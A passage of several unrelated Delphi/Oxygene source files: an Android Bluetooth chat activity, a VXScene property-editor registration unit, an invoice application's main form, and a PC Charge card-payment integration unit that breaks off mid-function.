2; const MESSAGE_WRITE = 3; const MESSAGE_DEVICE_NAME = 4; const MESSAGE_TOAST = 5; // Key names received from the BluetoothChatService Handler const DEVICE_NAME = 'device_name'; const TOAST_MSG = 'toast'; method onCreate(savedInstanceState: Bundle); override; method onStart; override; method onResume; override; method onPause; override; method onStop; override; method onDestroy; override; method onActivityResult(requestCode, resultCode: Integer; data: Intent); override; method onCreateOptionsMenu(mnu: Menu): Boolean; override; method onOptionsItemSelected(item: MenuItem): Boolean; override; end; implementation method BluetoothChat.onCreate(savedInstanceState: Bundle); begin inherited; if D then Log.e(TAG, '+++ ON CREATE +++'); if Build.VERSION.SDK_INT < Build.VERSION_CODES.HONEYCOMB then // Set up the window layout requestWindowFeature(Window.FEATURE_CUSTOM_TITLE); // Set our view from the "main" layout resource ContentView := R.layout.main; if Build.VERSION.SDK_INT < Build.VERSION_CODES.HONEYCOMB then begin Window.setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.custom_title); // Set up the custom title mTitle := TextView(findViewById(R.id.title_left_text)); mTitle.Text := R.string.app_name; end; mHandler := new Handler(self); // Get local Bluetooth adapter mBluetoothAdapter := BluetoothAdapter.DefaultAdapter; // If the adapter is null, then Bluetooth is not supported if mBluetoothAdapter = nil then begin Toast.makeText(self, String[R.string.no_bluetooth], Toast.LENGTH_LONG).show; finish; exit end; end; method BluetoothChat.onStart; begin inherited; if D then Log.e(TAG, '++ ON START ++'); // If BT is not on, request that it be enabled. // setupChat() will then be called during onActivityResult if not mBluetoothAdapter.isEnabled then begin var enableIntent: Intent := new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE); startActivityForResult(enableIntent, REQUEST_ENABLE_BT) end else if mChatService = nil then setupChat end; method BluetoothChat.onResume; begin inherited; if D then Log.e(TAG, '+ ON RESUME +'); // Performing this check in onResume() covers the case in which BT was // not enabled during onStart(), so we were paused to enable it... // onResume() will be called when ACTION_REQUEST_ENABLE activity returns. if mChatService <> nil then // Only if the state is STATE_NONE, do we know that we haven't started already if mChatService.getState = BluetoothChatService.STATE_NONE then // Start the Bluetooth chat services mChatService.start end; method BluetoothChat.onPause; begin inherited; if D then Log.e(TAG, '- ON PAUSE -'); end; method BluetoothChat.onStop; begin inherited; if D then Log.e(TAG, '-- ON STOP --'); end; method BluetoothChat.onDestroy; begin inherited; // Stop the Bluetooth chat services if mChatService <> nil then mChatService.stop; if D then Log.e(TAG, '--- ON DESTROY ---'); end; method BluetoothChat.onActivityResult(requestCode: Integer; resultCode: Integer; data: Intent); begin inherited; if D then Log.d(TAG, 'onActivityResult ' + resultCode); case requestCode of REQUEST_CONNECT_DEVICE_SECURE: // When DeviceListActivity returns with a device to connect if resultCode = Activity.RESULT_OK then connectDevice(data, true); REQUEST_CONNECT_DEVICE_INSECURE: // When DeviceListActivity returns with a device to connect if resultCode = Activity.RESULT_OK then connectDevice(data, false); REQUEST_ENABLE_BT: begin // When the request to enable Bluetooth returns if resultCode = Activity.RESULT_OK then // Bluetooth is now enabled, so set up a chat session setupChat else begin // User did not enable Bluetooth or an error occurred Log.d(TAG, 'BT not enabled'); Toast.makeText(self, R.string.bt_not_enabled_leaving, Toast.LENGTH_SHORT).show; finish end end end ; end; method BluetoothChat.onCreateOptionsMenu(mnu: Menu): Boolean; begin var inflater: MenuInflater := MenuInflater; inflater.inflate(R.menu.option_menu, mnu); exit true; end; method BluetoothChat.onOptionsItemSelected(item: MenuItem): Boolean; begin var serverIntent: Intent := nil; case item.ItemId of R.id.secure_connect_scan: begin // Launch the DeviceListActivity to see devices and do scan serverIntent := new Intent(self, typeOf(DeviceListActivity)); startActivityForResult(serverIntent, REQUEST_CONNECT_DEVICE_SECURE); exit true end; R.id.insecure_connect_scan: begin // Launch the DeviceListActivity to see devices and do scan serverIntent := new Intent(self, typeOf(DeviceListActivity)); startActivityForResult(serverIntent, REQUEST_CONNECT_DEVICE_INSECURE); exit true end; R.id.discoverable: begin // Ensure this device is discoverable by others ensureDiscoverable; exit true end; end; exit false; end; method BluetoothChat.setupChat; begin Log.d(TAG, 'setupChat()'); // Initialize the array adapter for the conversation thread mConversationArrayAdapter := new ArrayAdapter<String>(self, R.layout.message); mConversationView := ListView(findViewById(R.id.list_in)); mConversationView.Adapter := mConversationArrayAdapter; // Initialize the compose field with a listener for the return key mOutEditText := EditText(findViewById(R.id.edit_text_out)); mOutEditText.OnEditorActionListener := method(view: TextView; actionId: Integer; &event: KeyEvent) begin // If the action is a key-up event on the return key, send the message if (actionId = EditorInfo.IME_NULL) and (&event.Action = KeyEvent.ACTION_UP) then begin var message: String := view.Text.toString; sendMessage(message) end; if D then Log.i(TAG, 'END onEditorAction'); exit true; end; // Initialize the send button with a listener that for click events mSendButton := Button(findViewById(R.id.button_send)); mSendButton.OnClickListener := method (v: View) begin // Send a message using content of the edit text widget var view: TextView := TextView(findViewById(R.id.edit_text_out)); var message: String := view.Text.toString; sendMessage(message) end; // Initialize the BluetoothChatService to perform bluetooth connections mChatService := new BluetoothChatService(self, mHandler); // Initialize the buffer for outgoing messages mOutStringBuffer := new StringBuffer(''); end; method BluetoothChat.ensureDiscoverable; begin if D then Log.d(TAG, 'ensure discoverable'); if mBluetoothAdapter.ScanMode <> BluetoothAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE then begin var discoverableIntent: Intent := new Intent(BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE); discoverableIntent.putExtra(BluetoothAdapter.EXTRA_DISCOVERABLE_DURATION, 300); startActivity(discoverableIntent) end; end; /// <summary> /// Sends a message. /// </summary> /// <param name="msg">A string of text to send.</param> method BluetoothChat.sendMessage(msg: String); begin if mChatService.getState <> BluetoothChatService.STATE_CONNECTED then begin Toast.makeText(self, R.string.not_connected, Toast.LENGTH_SHORT).show; exit end; // Check that there's actually something to send if msg.length > 0 then begin // Get the message bytes and tell the BluetoothChatService to write var send: array of SByte := msg.Bytes; mChatService.&write(send); // Reset out string buffer to zero and clear the edit text field mOutStringBuffer.Length := 0; mOutEditText.setText(mOutStringBuffer); end; end; method BluetoothChat.setStatus(resId: Integer); begin var actionBar: ActionBar := self.ActionBar; actionBar.Subtitle := resId; end; method BluetoothChat.setStatus(subTitle: CharSequence); begin var actionBar: ActionBar := self.ActionBar; actionBar.Subtitle := subTitle; end; method BluetoothChat.connectDevice(data: Intent; secure: Boolean); begin // Get the device MAC address var address: String := data.Extras.String[DeviceListActivity.EXTRA_DEVICE_ADDRESS]; // Get the BluetoothDevice object var device: BluetoothDevice := mBluetoothAdapter.RemoteDevice[address]; // Attempt to connect to the device mChatService.connect(device, secure); end; // The Handler that gets information back from the BluetoothChatService method BluetoothChat.handleMessage(msg: Message): Boolean; begin case msg.what of MESSAGE_STATE_CHANGE: begin if D then Log.i(TAG, 'MESSAGE_STATE_CHANGE: ' + msg.arg1); case msg.arg1 of BluetoothChatService.STATE_CONNECTED: begin if Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB then setStatus(getString(R.string.title_connected_to, mConnectedDeviceName)) else mTitle.Text := getString(R.string.title_connected_to, mConnectedDeviceName); mConversationArrayAdapter.clear end; BluetoothChatService.STATE_CONNECTING: begin if Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB then setStatus(R.string.title_connecting) else mTitle.Text := R.string.title_connecting; end; BluetoothChatService.STATE_LISTEN, BluetoothChatService.STATE_NONE: begin if Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB then setStatus(R.string.title_not_connected) else mTitle.Text := R.string.title_not_connected; end; end end; MESSAGE_WRITE: begin var writeBuf := array of SByte(msg.obj); // construct a string from the buffer var writeMessage := new String(writeBuf); mConversationArrayAdapter.&add('Me: ' + writeMessage) end; MESSAGE_READ: begin var readBuf := array of SByte(msg.obj); // construct a string from the valid bytes in the buffer var readMessage := new String(readBuf, 0, msg.arg1); mConversationArrayAdapter.&add(mConnectedDeviceName + ': ' + readMessage) end; MESSAGE_DEVICE_NAME: begin // save the connected device's name mConnectedDeviceName := msg.Data.String[DEVICE_NAME]; Toast.makeText(ApplicationContext, 'Connected to ' + mConnectedDeviceName, Toast.LENGTH_SHORT).show end; MESSAGE_TOAST: Toast.makeText(ApplicationContext, msg.Data.String[TOAST_MSG], Toast.LENGTH_SHORT).show; end; end; end.
// // VXScene Component Library, based on GLScene http://glscene.sourceforge.net // { Register TXCollection property editor } unit VXS.RegisterXCollection; interface {$I VXScene.inc} uses System.Classes, System.TypInfo, { DesignIntf, DesignEditors, } VXS.XCollection; type TPropertyAttribute = (paValueList, paSubProperties, paDialog, paMultiSelect, paAutoUpdate, paSortList, paReadOnly, paRevertable, paFullWidthName, paVolatileSubProperties, paFMX, paNotNestable, paDisplayReadOnly, paCustomDropDown, paValueEditable); TPropertyAttributes = set of TPropertyAttribute; TClassProperty = class //class(TPropertyEditor) public function GetAttributes: TPropertyAttributes; //override; <- not found in base class procedure GetProperties(Proc: TGetChildProc); //in VCL -> (Proc: TGetPropProc) //override; <- not found in base class function GetValue: string; //override; <- not found in base class end; TXCollectionProperty = class(TClassProperty) public function GetAttributes: TPropertyAttributes; //override; <- not found in base class procedure Edit; //override; <- not found in base class end; function GetOrdValueAt(Index: Integer): Longint; function GetOrdValue: Longint; procedure Register; //=================================================================== implementation //=================================================================== uses FXCollectionEditor; function GetOrdValueAt(Index: Integer): Longint; var FPropList: PInstPropList; begin with FPropList^[Index] do Result := GetOrdProp(Instance, PropInfo); end; function GetOrdValue: Longint; begin Result := GetOrdValueAt(0); end; procedure Register; begin { TODO : E2003 Undeclared identifier: 'RegisterPropertyEditor' } (* RegisterPropertyEditor(TypeInfo(TXCollection), nil, '', TXCollectionProperty); *) end; //----------------- TXCollectionProperty ------------------------------------ function TXCollectionProperty.GetAttributes: TPropertyAttributes; begin Result:=[paDialog]; end; procedure TXCollectionProperty.Edit; begin with XCollectionEditor do begin { TODO : E2003 Undeclared identifier: 'Designer' } (*SetXCollection(TXCollection(GetOrdValue), Self.Designer);*) Show; end; end; // ------------------------------------------------------------------ function TClassProperty.GetAttributes: TPropertyAttributes; begin end; procedure TClassProperty.GetProperties(Proc: TGetChildProc); begin inherited; end; function TClassProperty.GetValue: string; begin end; initialization // ------------------------------------------------------------------ // ------------------------------------------------------------------ // ------------------------------------------------------------------ // class registrations end.
unit Invoice.View.Main; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, System.Actions, Vcl.ComCtrls, Vcl.Menus, System.UITypes, Vcl.ActnList, Vcl.PlatformDefaultStyleActnCtrls, Vcl.ActnMan, Vcl.ToolWin, Vcl.ActnCtrls, Vcl.Ribbon, Vcl.RibbonLunaStyleActnCtrls, Vcl.RibbonSilverStyleActnCtrls; type TFormMain = class(TForm) StatusBar: TStatusBar; Ribbon: TRibbon; RibbonPageMain: TRibbonPage; ActionManager: TActionManager; ActionProduct: TAction; ActionCustomer: TAction; ActionOrder: TAction; ActionTypePayment: TAction; ActionUser: TAction; ActionCloseTabSheet: TAction; RibbonGroupProduct: TRibbonGroup; RibbonGroupSales: TRibbonGroup; RibbonGroupUser: TRibbonGroup; PageControl: TPageControl; TabWelcome: TTabSheet; PopupMenu: TPopupMenu; CloseTab: TMenuItem; ActionChart: TAction; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormShow(Sender: TObject); procedure FormResize(Sender: TObject); procedure FormCreate(Sender: TObject); procedure ActionProductExecute(Sender: TObject); procedure ActionCustomerExecute(Sender: TObject); procedure ActionOrderExecute(Sender: TObject); procedure ActionTypePaymentExecute(Sender: TObject); procedure ActionCloseTabSheetExecute(Sender: TObject); procedure ActionUserExecute(Sender: TObject); procedure ActionChartExecute(Sender: TObject); private { Private declarations } procedure SetAction(Sender: TObject; nameForm: String); procedure SetTitle; procedure SetStatus; public { Public declarations } end; var FormMain: TFormMain; implementation {$R *.dfm} uses Invoice.Controller.DataModule, Invoice.Controller.Facade; procedure TFormMain.ActionChartExecute(Sender: TObject); begin TAction(Sender).Enabled := False; // TControllerGeneralFacade.New.TabFormFactory.Default.ShowForm(TabWelcome, 'FormChart'); // TAction(Sender).Enabled := True; end; procedure TFormMain.ActionCloseTabSheetExecute(Sender: TObject); begin if (PageControl.ActivePage <> nil) then PageControl.ActivePage.Free; end; procedure TFormMain.ActionCustomerExecute(Sender: TObject); begin SetAction(Sender, 'FormCustomer'); end; procedure TFormMain.ActionOrderExecute(Sender: TObject); begin SetAction(Sender, 'FormOrder'); end; procedure TFormMain.ActionProductExecute(Sender: TObject); begin SetAction(Sender, 'FormProduct'); end; procedure TFormMain.ActionTypePaymentExecute(Sender: TObject); begin SetAction(Sender, 'FormTypePayment'); end; procedure TFormMain.ActionUserExecute(Sender: TObject); begin SetAction(Sender, 'FormUser'); end; procedure TFormMain.FormClose(Sender: TObject; var Action: TCloseAction); begin if (MessageDlg('Do you really want to close?', mtConfirmation, [mbYes, mbNo], 0) = mrYES) then Action := caFree else Action := caNone; end; procedure TFormMain.FormCreate(Sender: TObject); begin if not DataModuleLocal.Connected then Application.Terminate; end; procedure TFormMain.FormResize(Sender: TObject); begin StatusBar.Panels[3].Width := Width - (StatusBar.Panels[0].Width + StatusBar.Panels[1].Width + StatusBar.Panels[2].Width); end; procedure TFormMain.FormShow(Sender: TObject); begin SetTitle; // SetStatus; // ActionChartExecute(Sender); end; procedure TFormMain.SetAction(Sender: TObject; nameForm: String); begin TAction(Sender).Enabled := False; // TControllerGeneralFacade.New.TabFormFactory.Default.ShowForm(TControllerGeneralFacade.New.TabFormFactory.Default.CreateTab(TAction(Sender), PageControl), nameForm); // TAction(Sender).Enabled := True; end; procedure TFormMain.SetStatus; begin StatusBar.Panels[0].Text := 'Computer: ' + TControllerGeneralFacade.New.WinInfoFactory.Default.ComputerName; StatusBar.Panels[1].Text := 'User: ' + DataModuleLocal.GetUsername; StatusBar.Panels[2].Text := 'Version ' + TControllerGeneralFacade.New.AppInfoFactory.Default.FileVersion; StatusBar.Panels[3].Text := 'Welcome to ' + Application.Title; end; procedure TFormMain.SetTitle; begin Caption := TControllerGeneralFacade.New.AppInfoFactory.Default.CompanyName + ' - ' + Application.Title; // Ribbon.Caption := Caption; end; end.
unit uPCCIntegration; interface uses Classes, SysUtils, StrUtils, PSCharge_TLB, ActiveX, uMsgBox, Forms, Debit_TLB, Device_TLB, Dialogs, uFrmPCCEnterPin, IniFiles, SC550_TLB, uCreditCardFunction; Const DEBIT_SALE = 41; DEBIT_RETURN = 42; PCC_ERROR_TIMEOUT = 6; type TPCCTransaction = class(TComponent) private FTimeOut: Integer; FUser: WideString; FLastValidDate: WideString; FPrintReceipts: WideString; FMulti: WideString; FPath: WideString; FProcessor: WideString; FMerchantNumber: WideString; FAuth: WideString; FRefNumber: WideString; FTroutD: WideString; FErrorCode: Integer; FErrorDesc: WideString; FPCCResult: WideString; FTransactionReturn: TTransactionReturn; FOnNeedSwipe: TNeedSwipeEvent; FAfterSucessfullSwipe: TAfterSucessfullSwipe; FAVS: WideString; FCVV2Ver: WideString; FPort: Integer; FIPAddress: WideString; FOnNeedTroutD: TNeedTroutDEvent; FLastDigits: WideString; fPinTimeOut: Integer; fPinEncryptMethod: Integer; fPinDevice: Integer; fPinBaud: WideString; fPinDataBits: WideString; fPinParity: WideString; fPinComm: WideString; function CreateCharge(ACommand: WideString): TCharge; function ProccesCharge(ACharge: TCharge; AFileType: TOleEnum): Boolean; procedure ResetResultCodes; function CreateDevice : TOCXDevice; function CreateDebit(AAction : Integer; ACommand: WideString) : TOCXDebit; function ProccesDebit(ADebit: TOCXDebit; AFileType: TOleEnum): Boolean; function FormatPCChargeError(PCError:String):String; function CreditTransactionError(ACharge: TCharge) : Boolean; function DebitTransactionError(ADebit: TOCXDebit) : Boolean; function CreditTransactionAlreadyCharged(ACharge: TCharge; AFileType : TOleEnum) : Boolean; function DebitTransactionAlreadyCharged(ADebit: TOCXDebit; AFileType : TOleEnum) : Boolean; function ErrorFileExist : Boolean; public property Path: WideString read FPath write FPath; property User: WideString read FUser write FUser; property Processor: WideString read FProcessor write FProcessor; property MerchantNumber: WideString read FMerchantNumber write FMerchantNumber; property TimeOut: Integer read FTimeOut write FTimeOut; property Multi: WideString read FMulti write FMulti; property LastValidDate: WideString read FLastValidDate write FLastValidDate; property PrintReceipts: WideString read FPrintReceipts write FPrintReceipts; property Port: Integer read FPort write FPort; property IPAddress: WideString read FIPAddress write FIPAddress; //PinPad property PinDevice : Integer read fPinDevice write fPinDevice; property PinEncryptMethod : Integer read fPinEncryptMethod write fPinEncryptMethod; property PinTimeOut : Integer read fPinTimeOut write fPinTimeOut; property PinBaud : WideString read fPinBaud write fPinBaud; property PinParity : WideString read fPinParity write fPinParity; property PinComm : WideString read fPinComm write fPinComm; property PinDataBits : WideString read fPinDataBits write fPinDataBits; // Retornos property Auth: WideString read FAuth write FAuth; property RefNumber: WideString read FRefNumber write FRefNumber; property TroutD: WideString read FTroutD write FTroutD; property PCCResult: WideString read FPCCResult write FPCCResult; property ErrorCode: Integer read FErrorCode write FErrorCode; property ErrorDesc: WideString read FErrorDesc write FErrorDesc; property AVS: WideString read FAVS write FAVS; property CVV2Ver: WideString read FCVV2Ver write FCVV2Ver; property LastDigits: WideString read FLastDigits write FLastDigits; property TransactionReturn: TTransactionReturn read FTransactionReturn write FTransactionReturn; property OnNeedSwipe: TNeedSwipeEvent read FOnNeedSwipe write FOnNeedSwipe; property AfterSucessfullSwipe: TAfterSucessfullSwipe read FAfterSucessfullSwipe write FAfterSucessfullSwipe; property OnNeedTroutD: TNeedTroutDEvent read FOnNeedTroutD write FOnNeedTroutD; constructor Create(AOwner: TComponent); override; function RetailCreditOrAutorizationCardPresent(AAmount, ATicket, ACardSwiped: WideString; ARefund: Boolean): Boolean; function RetailCreditOrAutorizationCardNotPresent(ACard, AMember, AExpDate, AAmount, ATicket, AStreet, AZip, ACVV2: WideString; ARefund: Boolean): Boolean; function RetailVoidSale: Boolean; //Debit function RetailDebitCardPresent(AAmount, ACashBack, ATicket, ACardSwiped: WideString; AAction: Integer): Boolean; end; implementation uses uFrmPCCWaitTransaction, OleCtrls, uNumericFunctions, uPCCRecords, uFileFunctions; { TPCCTransaction } function TPCCTransaction.CreateCharge(ACommand: WideString): TCharge; var oleCommMet: TOleEnum; begin Result := TCharge.Create(Self); Result.Command := ACommand; Result.Path := FPath; Result.User := FUser; Result.Processor := FProcessor; Result.MerchantNumber := FMerchantNumber; // Set Optional Initial Properties Result.TimeOut := FTimeOut; Result.Multi := FMulti; Result.LastValidDate := FLastValidDate; Result.PrintReceipts := FPrintReceipts; Result.Port := FPort; Result.IPAddress := FIPAddress; Result.EnableSSL := False; Result.XMLTrans := True; if (FPort <> 0) and (FIPAddress <> '') then oleCommMet := TCPIP else oleCommMet := File_Transfer; Result.CommMethod := oleCommMet; FLastDigits := ''; end; function TPCCTransaction.RetailCreditOrAutorizationCardPresent(AAmount, ATicket, ACardSwiped: WideString; ARefund: Boolean): Boolean; var ACharge: TCharge; AFileType: TOleEnum; ASwipedTrack: WideString; ASwipeCanceled, ASwipeError: Boolean; AType: WideString; frmWait: TFrmPCCWaitTransaction; ATrouD: WideString; ATroudCanceled: Boolean; begin Result := False; try ResetResultCodes; AFileType := 3; if ARefund then AType := '2' else AType := '1'; ACharge := CreateCharge(AType); try if (ACharge.CommMethod = File_Transfer) and ACharge.PccSysExists then raise Exception.Create('PC Charge is not Running / Ready'); ACharge.Amount := AAmount; ACharge.Ticket := ATicket; ACharge.Manual := 1; ACharge.CardPresent := '1'; // Here we call an event in order to swipe the card if Assigned(FOnNeedSwipe) then begin repeat ASwipeCanceled := False; ASwipeError := False; if ACardSwiped = '' then FOnNeedSwipe(Self, ASwipedTrack, ASwipeCanceled) else ASwipedTrack := ACardSwiped; if ASwipedTrack = '' then ASwipeCanceled := True; try ACharge.GetParseData(ASwipedTrack); ACharge.Track := CopyLevelIIData(ASwipedTrack); except ASwipeError := True; raise Exception.Create('Card track not recognized'); end; if ASwipeCanceled then raise Exception.Create('Card Swipe canceled by user'); until not (ASwipeCanceled or ASwipeError) end; if Assigned(FAfterSucessfullSwipe) then FAfterSucessfullSwipe(Self, ACharge.Card, ACharge.Member, ACharge.ExpDate); (* // Here we call an event in inform the ATrouD if ARefund then if Assigned(FOnNeedTroutD) then begin ATroudCanceled := False; ATrouD := ''; FOnNeedTroutD(Self, ATrouD, ATroudCanceled); if ATroudCanceled then raise Exception.Create('Canceled by user'); ACharge.TroutD := ATrouD; end; *) // Show the wait form until Transaction is processed frmWait := TFrmPCCWaitTransaction.Create(nil); try frmWait.Show; Application.ProcessMessages; Result := ProccesCharge(ACharge, AFileType); finally frmWait.Close; frmWait.Free; end; finally ACharge.DeleteUserFiles; ACharge.Free; end; except on E: Exception do begin FTransactionReturn := ttrException; Result := False; FErrorDesc := E.Message; //MsgBox(E.Message, vbOKOnly + vbCritical); end; end; end; function TPCCTransaction.ProccesCharge(ACharge: TCharge; AFileType: TOleEnum): Boolean; var FTransactionCharged : Boolean; begin Result := False; FTransactionCharged := False; ResetResultCodes; if ACharge.CheckCard then begin if not ACharge.VerifyCreditCard(ACharge.Card) then raise Exception.Create('Invalid Account !'); if not ACharge.VerifyExpDate then raise Exception.Create('Invalid Expire Date !'); if not ACharge.VerifyAmount then raise Exception.Create('Invalid Amount !'); end; //Verifica se a transacao ja foi aprovada if ErrorFileExist then FTransactionCharged := CreditTransactionAlreadyCharged(ACharge, AFileType); if not FTransactionCharged then begin ACharge.Send(AFileType); FPCCResult := ACharge.GetResult; FErrorCode := ACharge.GetErrorCode; end; if FErrorCode = 0 then begin if (FPCCresult = 'CAPTURED') or (FPCCresult = 'APPROVED') or (FPCCresult = 'VOIDED') or (FPCCresult = 'PROCESSED') then begin if not FTransactionCharged then begin FAuth := ACharge.GetAuth; FRefNumber := ACharge.GetRefnumber; FTroutD := ACharge.GetTroutD; end; FLastDigits := Copy(Trim(ACharge.Card), Length(Trim(ACharge.Card)) - 3, 4); Result := True; FTransactionReturn := ttrSuccessfull; end else if (FPCCresult = 'NOT CAPTURED') or (FPCCresult = 'NOT APPROVED') or (FPCCresult = 'CANCELED') or (FPCCresult = 'Error') or (FPCCresult = 'NOT PROCESSED') then begin FAuth := FormatPCChargeError(ACharge.GetAuth); FTransactionReturn := ttrNotSuccessfull; if ACharge.CVV2 <> '' then FCVV2Ver := ACharge.GetCVV2; if (ACharge.Street <> '') or (ACharge.Zip <> '') then FAVS := ACharge.GetAVS; end; end else begin FErrorDesc := ACharge.GetErrorDesc; FTransactionReturn := ttrError; //Grava error if FErrorCode = PCC_ERROR_TIMEOUT then CreditTransactionError(ACharge); end; end; procedure TPCCTransaction.ResetResultCodes; begin FPCCresult := ''; FAuth := ''; FRefNumber := ''; FTroutD := ''; FErrorCode := 0; FErrorDesc := ''; FAVS := ''; FCVV2Ver := ''; FTransactionReturn := ttrException; end; function TPCCTransaction.RetailCreditOrAutorizationCardNotPresent(ACard, AMember, AExpDate, AAmount, ATicket, AStreet, AZip, ACVV2: WideString; ARefund: Boolean): Boolean; var ACharge: TCharge; AFileType: TOleEnum; AType: WideString; frmWait: TFrmPCCWaitTransaction; begin Result := False; try ResetResultCodes; AFileType := 3; if ARefund then AType := '2' else AType := '1'; ACharge := CreateCharge(AType); try if (ACharge.CommMethod = File_Transfer) and ACharge.PccSysExists then raise Exception.Create('PC Charge is not Running / Ready'); ACharge.Card := ACard; ACharge.Member := AMember; ACharge.ExpDate := AExpDate; ACharge.Amount := AAmount; ACharge.Ticket := ATicket; if AStreet <> '' then ACharge.Street := AStreet; if AZip <> '' then ACharge.Zip := AZip; if ACVV2 <> '' then ACharge.CVV2 := ACVV2; ACharge.Manual := 0; ACharge.CardPresent := '0'; Result := ProccesCharge(ACharge, AFileType); finally ACharge.DeleteUserFiles; ACharge.Free; end; except on E: Exception do begin FTransactionReturn := ttrException; Result := False; FErrorDesc := E.Message; //MsgBox(E.Message, vbOKOnly + vbCritical); end; end; end; constructor TPCCTransaction.Create(AOwner: TComponent); begin inherited Create(AOwner); ResetResultCodes; end; function TPCCTransaction.RetailVoidSale: Boolean; var ACharge: TCharge; AFileType: TOleEnum; ATrouD, AInvNo, AAuthCode: WideString; ATroudCanceled: Boolean; begin Result := False; try ResetResultCodes; AFileType := 3; ACharge := CreateCharge('3'); try if ACharge.PccSysExists then raise Exception.Create('PC Charge is not Running / Ready'); ACharge.CheckCard := False; // Here we call an event in order to swipe the card if Assigned(FOnNeedTroutD) then begin ATroudCanceled := False; ATrouD := ''; FOnNeedTroutD(Self, ATrouD, AInvNo, AAuthCode, ATroudCanceled); if ATroudCanceled then raise Exception.Create('Canceled by user'); ACharge.TroutD := ATrouD; ACharge.Authcode := AAuthCode; end; Result := ProccesCharge(ACharge, AFileType); finally ACharge.DeleteUserFiles; ACharge.Free; end; except on E: Exception do begin FTransactionReturn := ttrException; Result := False; MsgBox(E.Message, vbOKOnly + vbCritical); end; end; end; function TPCCTransaction.RetailDebitCardPresent(AAmount, ACashBack, ATicket, ACardSwiped: WideString; AAction: Integer): Boolean; var ADebit: TOCXDebit; APinPad: TOCXDevice; AFileType: TOleEnum; ASwipedTrack: WideString; ASwipeCanceled, ASwipeError: Boolean; frmWait: TFrmPCCWaitTransaction; ACard, AName, ADate, ATrack2: WideString; AKSN, APIN : String; FrmPCCEnterPin : TFrmPCCEnterPin; begin Result := False; try ResetResultCodes; AFileType := 3; APinPad := CreateDevice; try if APinPad.Initialize(True) then begin ADebit := CreateDebit(AAction, '1'); try if ADebit.PccSysExists then raise Exception.Create('PC Charge is not Running / Ready'); // Here we call an event in order to swipe the card if Assigned(FOnNeedSwipe) then begin repeat ASwipeCanceled := False; ASwipeError := False; if ACardSwiped = '' then FOnNeedSwipe(Self, ASwipedTrack, ASwipeCanceled) else ASwipedTrack := ACardSwiped; if ASwipedTrack = '' then ASwipeCanceled := True; try ParseTrack(ASwipedTrack ,ACard, AName, ADate, ATrack2); except ASwipeError := True; raise Exception.Create('Card track not recognized'); end; { ShowMessage('DEBIT: Swipe :' + ASwipedTrack ); ShowMessage('DEBIT: Card :' + ACard); ShowMessage('DEBIT: Track :' + ATrack2); ShowMessage('DEBIT: ExpDate :' + ADate); ShowMessage('DEBIT: Name :' + AName); } if ASwipeCanceled then raise Exception.Create('Card Swipe canceled by user'); APinPad.Amount := MyFormatCur((StrToCurr(AAmount) + StrToCurr(ACashBack)), '.'); APinPad.Card := ACard; FrmPCCEnterPin := TFrmPCCEnterPin.Create(Self); try FrmPCCEnterPin.Start; //Inicializa o PinPad APIN := APinPad.GetPin; AKSN := APinPad.GetKeySerialNumber; finally FrmPCCEnterPin.Close; FreeAndNil(FrmPCCEnterPin); end; if APIN = '' then raise Exception.Create('PIN NOT Entered!'); ADebit.Track := ATrack2; ADebit.Pin := APIN; ADebit.KeySerialNumber := AKSN; ADebit.ExpDate := ADate; ADebit.Amount := AAmount; ADebit.Ticket := ATicket; ADebit.Member := AName; ADebit.Card := ACard; until not (ASwipeCanceled or ASwipeError) end; if Assigned(FAfterSucessfullSwipe) then FAfterSucessfullSwipe(Self, ADebit.Card, ADebit.Member, ADebit.ExpDate); // Show the wait form until Transaction is processed frmWait := TFrmPCCWaitTransaction.Create(nil); try frmWait.Show; Application.ProcessMessages; Result := ProccesDebit(ADebit, AFileType); finally frmWait.Close; frmWait.Free; end; finally ADebit.DeleteUserFiles; FreeAndNil(ADebit); end; end else begin raise Exception.Create('PinPad NOT Initialized. Aborted!_' + IntToStr(APinPad.GetErrorCode) + ' - ' + APinPad.GetErrorDesc); end; finally FreeAndNil(APinPad); end; except on E: Exception do begin FTransactionReturn := ttrException; Result := False; FErrorDesc := E.Message; //MsgBox(E.Message, vbOKOnly + vbCritical); end; end; end; function TPCCTransaction.CreateDevice: TOCXDevice; begin Result := TOCXDevice.Create(Self); Result.Device := PinDevice; Result.Baud := PinBaud; Result.Parity := PinParity; Result.DataBits := PinDataBits; Result.TimeOut := PinTimeOut; Result.EncryptMethod := PinEncryptMethod; Result.Port := PinComm; end; function TPCCTransaction.CreateDebit(AAction: Integer; ACommand: WideString): TOCXDebit; var oleCommMet: TOleEnum; begin Result := TOCXDebit.Create(Self); //Result.Action := AAction; Result.User := FUser; Result.Manual := True; Result.Processor := FProcessor; Result.MerchantNumber := FMerchantNumber; Result.Path := FPath; Result.TimeOut := FTimeOut; Result.Command := IntToStr(AAction); Result.IPAddress := FIPAddress; Result.Port := FPort; Result.EnableSSL := False; if (FPort <> 0) and (FIPAddress <> '') then oleCommMet := TCPIP else oleCommMet := File_Transfer; Result.CommMethod := oleCommMet; end; function TPCCTransaction.ProccesDebit(ADebit: TOCXDebit; AFileType: TOleEnum): Boolean; var FTransactionCharged : Boolean; begin Result := False; FTransactionCharged := False; ResetResultCodes; { if ACharge.CheckCard then begin if not ACharge.VerifyCreditCard(ACharge.Card) then raise Exception.Create('Invalid Account !'); if not ACharge.VerifyExpDate then raise Exception.Create('Invalid Expire Date !'); end;} if not ADebit.VerifyAmount then raise Exception.Create('Invalid Amount !'); //Verifica se a transacao ja foi aprovada if ErrorFileExist then FTransactionCharged := DebitTransactionAlreadyCharged(ADebit, AFileType); if not FTransactionCharged then begin ADebit.Send(AFileType); FPCCResult := ADebit.GetResult; FErrorCode := ADebit.GetErrorCode; end; if FErrorCode = 0 then begin if (FPCCresult = 'CAPTURED') or (FPCCresult = 'APPROVED') or (FPCCresult = 'VOIDED') or (FPCCresult = 'PROCESSED') then begin if not FTransactionCharged then begin FAuth := ADebit.GetAuth; FRefNumber := ADebit.GetRefnumber; FTroutD := ADebit.GetTroutD; end; FLastDigits := 